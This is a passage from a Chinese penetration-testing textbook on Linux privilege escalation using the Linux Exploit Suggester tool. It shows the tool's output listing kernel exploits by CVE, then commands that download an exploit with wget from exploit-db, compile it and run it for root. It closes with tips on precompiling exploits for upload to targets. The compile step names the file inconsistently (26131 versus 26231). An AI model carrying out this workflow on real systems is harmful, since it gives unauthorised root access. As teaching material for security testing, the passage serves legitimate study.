网络攻防实战研究:漏洞利用与提权
上QQ阅读APP看本书,新人免费读10天
设备和账号都新为新人

1.4 Linux提权辅助工具Linux Exploit Suggester

Linux Exploit Suggester是一款根据操作系统版本号自动查找相应提权脚本的工具,如果不带任何参数运行该脚本,将执行“uname-r”命令返回操作系统发行版本信息,也可以手工输入“-k”参数查找指定版本号。Linux Exploit Suggester的官方下载地址为https://github.com/PenturaLabs/Linux_Exploit_Suggester,该程序2014年以后就没有更新了。

1.4.1 列出可能的漏洞

执行如下命令,列出内核版本为Linux 3.0.0的所有可能漏洞,如图1-43所示。漏洞利用程序和脚本可以在http://www.exploit-db.com/网站下载。

图1-43 列出所有可用的漏洞利用程序

        perl ./Linux_Exploit_Suggester.pl -k 3.0.0

或者

        ./Linux_Exploit_Suggester.pl -k 3.0.0

如果执行的是默认程序,则自动识别当前内核版本,并提示可以利用的漏洞程序。例如,在CentOS Release 5.6 (Final)内核版本2.6.18-238.el5下运行该程序,将得到如下结果。

        sh-3.2$ ./Linux_Exploit_Suggester.pl
        Kernel local: 2.6.18
        Searching among 65 exploits...
        Possible Exploits:
        [+] american-sign-language
          CVE-2010-4347
          Source: http://www.securityfocus.com/bid/45408/
        [+] can_bcm
          CVE-2010-2959
          Source: http://www.exploit-db.com/exploits/14814/
        [+] do_pages_move
          Alt: sieve   CVE-2010-0415
          Source: Spenders Enlightenment
        [+] ftrex
          CVE-2008-4210
          Source: http://www.exploit-db.com/exploits/6851
        [+] half_nelson
          Alt: econet   CVE-2010-3848
          Source: http://www.exploit-db.com/exploits/6851
        [+] half_nelson1
          Alt: econet   CVE-2010-3848
          Source: http://www.exploit-db.com/exploits/17787/
        [+] half_nelson2
          Alt: econet   CVE-2010-3850
          Source: http://www.exploit-db.com/exploits/17787/
        [+] half_nelson3
          Alt: econet   CVE-2010-4073
          Source: http://www.exploit-db.com/exploits/17787/
        [+] msr
          CVE-2013-0268
          Source: http://www.exploit-db.com/exploits/27297/
        [+] pipe.c_32bit
          CVE-2009-3547
          Source: http://www.securityfocus.com/data/vulnerabilities/exploits/
    36901-1.c
        [+] pktcdvd
          CVE-2010-3437
          Source: http://www.exploit-db.com/exploits/15150/
        [+] reiserfs
          CVE-2010-1146
          Source: http://www.exploit-db.com/exploits/12130/
        [+] sock_sendpage
          Alt: wunderbar_emporium   CVE-2009-2692
          Source: http://www.exploit-db.com/exploits/9435
        [+] sock_sendpage2
          Alt: proto_ops   CVE-2009-2692
          Source: http://www.exploit-db.com/exploits/9436
        [+] udp_sendmsg_32bit
          CVE-2009-2698
          Source: http://downloads.securityfocus.com/vulnerabilities/exploits/
    36108.c
        [+] video4linux
          CVE-2010-3081
          Source: http://www.exploit-db.com/exploits/15024/
        [+] vmsplice1
          Alt: jessica biel   CVE-2008-0600
          Source: http://www.exploit-db.com/exploits/5092

1.4.2 下载可利用的脚本

使用“wget url漏洞地址”命令下载漏洞程序。例如,通过检测得知内核为Linux 3.0.0,可能存在perf_swevent漏洞,其漏洞编号为CVE-2013-2094,可利用程序名字为26131,下载命令如下。

        wget http://www.exploit-db.com/download/26131

1.4.3 编译并执行

在一般情况下,执行如下命令执行即可。对特殊的编译情况,可利用漏洞程序会给出相应的说明。

        gcc 26131.c -o 26131
        chmod +x 26231
        ./26231

如果能够获取root权限,则会进行相应的提示。root权限可以通过命令“id”或者提示符来认定。

1.4.4 总结与思考

下面总结一些提权技巧。

·可以根据编译结果来判断是否存在漏洞。例如,“[-] mmap(): Operation not permitted”表示没有权限,无法成功提权。

·可以在相应内核版本的虚拟机中编译漏洞利用程序,下次碰到时可以直接上传执行,从而提高效率。

·可以使用“./Linux_Exploit_Suggester.pl>1.txt”命令将所有结果保存在1.txt中,然后对照程序进行下载和编译。

·在使用“wget http://www.exploit-db.com/exploits/5092”命令下载时需要添加“--no-check-certificate”参数。如果不能下载,则需要使用浏览器打开网站下载。